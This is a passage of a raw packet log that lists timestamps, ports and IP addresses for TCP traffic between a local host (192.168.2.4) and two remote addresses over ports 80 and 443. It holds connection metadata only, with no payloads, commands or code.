Nov 2, 2024 07:16:15.643584013 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643604994 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643616915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643649101 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643687963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643697977 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643707991 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643718958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643729925 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643729925 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643740892 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643748999 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643760920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643769979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643773079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643790007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643795967 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643801928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643819094 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643846035 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643877029 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643887997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643898010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643920898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643933058 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.643954039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643965006 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643974066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643986940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.643989086 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644010067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644040108 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644058943 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644071102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644081116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644093037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644104004 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644110918 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644114971 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644136906 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644140959 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644144058 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644156933 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644167900 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644180059 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644186020 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644201994 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644205093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644217014 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644229889 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644229889 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644248009 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644253016 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644260883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644270897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644284010 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644298077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644309044 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644347906 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644387007 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644531012 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644541979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644552946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644571066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644593000 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644656897 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644666910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644678116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644690037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644701958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644702911 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644709110 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644712925 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644725084 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644731998 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644768953 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644793987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644916058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644926071 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644938946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644948959 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644954920 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644958973 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644968033 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644979954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644990921 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.644993067 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.644999027 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.645004034 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.645009995 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.645015001 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.645030022 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.645064116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.685733080 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.685743093 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.685753107 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.685762882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.685806990 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.685842991 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.700349092 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.700490952 CET	443	63832	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.700602055 CET	63832	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.701638937 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.701706886 CET	443	63831	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.701781988 CET	63831	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.712374926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712450027 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712466955 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712485075 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712495089 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712505102 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712512016 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712552071 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712735891 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712748051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712758064 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712789059 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712815046 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712826967 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712845087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712853909 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712853909 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712869883 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712882042 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712889910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712902069 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712908030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712913990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712918043 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712937117 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712943077 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712949038 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712960958 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712966919 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712973118 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.712977886 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.712985039 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713004112 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713022947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713341951 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713352919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713363886 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713386059 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713386059 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713399887 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713407040 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713409901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713432074 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713454962 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713578939 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713673115 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713674068 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713684082 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713716984 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713723898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713730097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713742018 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713752985 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713763952 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713777065 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713803053 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.713984013 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.713995934 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714005947 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714026928 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714041948 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714051962 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714062929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714082956 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714107037 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714267969 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714288950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714298010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714309931 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714334011 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714396954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714409113 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714418888 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714442015 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714456081 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714684010 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714721918 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714721918 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714732885 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714756012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714768887 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714782953 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714793921 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714803934 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.714826107 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.714843988 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.715766907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.715779066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.715790987 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.715801954 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.715812922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.715815067 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.715836048 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.715854883 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727031946 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727077961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727088928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727109909 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727130890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727132082 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727144003 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727155924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727164984 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727169037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727190971 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727221012 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727225065 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727237940 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727248907 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727261066 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727269888 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727276087 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727288008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727303982 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727320910 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727328062 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727356911 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727358103 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727369070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727380037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727397919 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727410078 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727416039 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727421045 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727432966 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727436066 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727446079 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727446079 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727452993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727463007 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727473021 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727474928 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727488041 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727499008 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727500916 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727530003 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727540016 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727543116 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727555037 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727566957 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727580070 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727585077 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727592945 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727602005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727626085 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727648973 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727674961 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727686882 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727704048 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727715015 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727715969 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727727890 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727727890 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727741003 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727752924 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727754116 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727765083 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727776051 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727780104 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727796078 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727801085 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727813005 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727819920 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727823973 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727835894 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.727839947 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.727873087 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.733668089 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.733722925 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.733779907 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.737817049 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.737833977 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.737844944 CET	63833	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:15.737849951 CET	443	63833	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:15.760910034 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.760958910 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.760967970 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.760976076 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.760982990 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.760987997 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.760993004 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761040926 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761044979 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761049986 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761054993 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761195898 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761534929 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761543989 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761590958 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761662960 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761673927 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761684895 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761704922 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761706114 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761717081 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761727095 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761730909 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761738062 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761759996 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761779070 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761780977 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761797905 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761809111 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761823893 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761825085 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761835098 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761842966 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761847019 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761864901 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761873007 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761876106 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761884928 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761887074 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761910915 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761912107 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761934042 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761935949 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761945963 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761959076 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761972904 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.761981010 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.761989117 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762012005 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762016058 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762027025 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762062073 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762073994 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762118101 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762135983 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762146950 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762157917 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762171030 CET	63819	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:15.762175083 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762185097 CET	80	63819	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:15.762196064 CET	80	63819	185.215.113.16	192.168.2.4
